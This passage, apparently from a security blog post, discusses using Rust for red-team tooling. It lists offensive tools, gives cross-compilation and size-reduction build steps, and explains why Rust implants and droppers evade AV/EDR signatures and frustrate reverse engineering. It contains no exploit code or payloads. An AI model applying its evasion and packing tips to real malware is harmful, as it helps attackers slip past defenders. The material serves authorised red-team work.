  2. Feroxbuster: A high-speed recursive content discovery tool (directory busting). Faster than dirb or gobuster.
  3. Ripgrep (rg): Not an offensive tool, but a fast grep alternative. It’s useful for log analysis and codebase searching.
  4. Haylxon: High-performance screenshotting tool for web reconnaissance.
  5. RustRedOps: A repository of advanced offensive techniques implemented in Rust, including process injection, syscall evasion, and more.
  6. Sliver: While the primary codebase is Go, Sliver’s implant generation supports Rust for stealthier agents.

Cross-compilation
#

You can build Windows binaries from Linux without leaving your dev box. Add the target with rustup, install a linker, build.

Setup
#

# Add Windows target
rustup target add x86_64-pc-windows-gnu

# Install the linker
sudo apt install mingw-w64

Build
#

cargo build --release --target x86_64-pc-windows-gnu

Your executable will be in target/x86_64-pc-windows-gnu/release/.

Optimizing binary size
#

Rust binaries can be large due to static linking and debug info. Add this to Cargo.toml:

[profile.release]
opt-level = "z"   # Optimize for size
lto = true        # Link-Time Optimization
codegen-units = 1 # Single codegen unit for better optimization
panic = "abort"   # No unwinding (smaller binary)
strip = true      # Strip symbols

Then install and use upx for extra compression:

upx --best target/release/your_tool.exe

Pros and cons for red team operators
#

FeatureRustC/C++PythonGo
PerformanceStrongStrongPoorGood
Memory SafetyCompile-timeManualManagedManaged (GC)
Binary SizeMedium-LargeSmallN/A (Interpreter)Large
Cross-compilationStrongDifficultN/AStrong
AV/EDR evasionGood (novel signatures)GoodPoor (known tools)Good
Learning CurveSteepHighLowModerate
Asynchronous I/OStrongDifficultGood (asyncio)Strong
Windows APIStrong (windows crate)NativePoorGood
Best use caseAgents, exploit developmentshellcode, OS devScriptingImplants, tooling

Why Rust for offensive tooling
#

A few practical reasons it’s become popular for implants and droppers:

  1. Less familiar to signature engines. Most AV/EDR vendors built their detection content around C, C++, C#, and PowerShell. Rust compiler output and its standard library are still less well-represented in their training corpora, which buys you (limited, shrinking) novelty.
  2. Stability under pressure. Memory safety means your implant doesn’t crash because of a use-after-free at 4am during the one window of the engagement that matters.
  3. Concurrency that just works. tokio plus async lets a single C2 binary hold thousands of connections without dedicating an OS thread per client.
  4. Reverse-engineering friction. Monomorphization, name mangling, and aggressive inlining make Rust binaries genuinely tedious to analyze compared to C# or Go.

The other side: reversing Rust binaries
#

As a red teamer, you need to know what the blue team sees. Rust binaries are notoriously difficult to reverse engineer, which works in our favor, but you should understand why.

The “Hello world” bloat
#

If you compile a “Hello World” in C, it’s a few kilobytes. In Rust, it might be 300KB or more. This is because Rust statically links its standard library by default. While you can strip symbols (strip = true), the binary structure remains complex.

Name mangling
#

Rust uses aggressive name mangling. A function named connect_c2 might appear in the symbol table as _ZN10my_implant10connect_c217h8923a.... Tools like IDA Pro and Ghidra have plugins to demangle these, but it adds friction for the analyst.

Panics and metadata
#

Rust binaries are chatty. If your code panics (for example unwrap() on a None), it often prints a file path and line number. thread 'main' panicked at 'called Option::unwrap() on a None value', src/main.rs:55:12

OPSEC Tip: Always use panic = "abort" in your release profile. This removes the unwinding machinery and reduces string artifacts.

[profile.release]
panic = "abort"
strip = true
lto = true

Decompilation complexity
#

Because Rust relies on monomorphization (generating a unique copy of a generic function for each concrete type), the control flow graph in a decompiler can look like spaghetti. Methods like Vec<T>::push will appear dozens of times, once for Vec<u8>, once for Vec<String>, etc. This repetitive noise exhausts analysts.


Closing
#

Most of why I reach for Rust for tooling has nothing to do with offense. The borrow checker frustrates you for a few weeks and then stops you from shipping the kind of bug that turns your dropper into an event-viewer entry mid-engagement. Microsoft maintains the official windows crate, so Windows API bindings are actually first-class instead of being whatever some hobbyist hacked together in 2017. Tokio’s async story is mature enough that a C2 agent holding thousands of connections is a normal-looking program, not an exotic feat. Those are properties you want in any serious tool regardless of what it does.

The offensive bonus on top of that is that Rust binaries are still less well-represented in EDR detection corpora than the C# and PowerShell equivalents, and monomorphization plus aggressive inlining plus static linking makes them genuinely tedious to reverse. That edge is shrinking as Rust gets more common in defensive products too, but it’s real for now.

The cost is the learning curve. You will lose arguments with the borrow checker. You will restructure code that you thought was fine. After two or three months that mostly stops, and the tools you ship become significantly more reliable than the equivalent in any other systems language. Whether that tradeoff is worth it depends on what you’re building, but for any tool I expect to keep using for more than a week, the answer is yes.


References
#

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.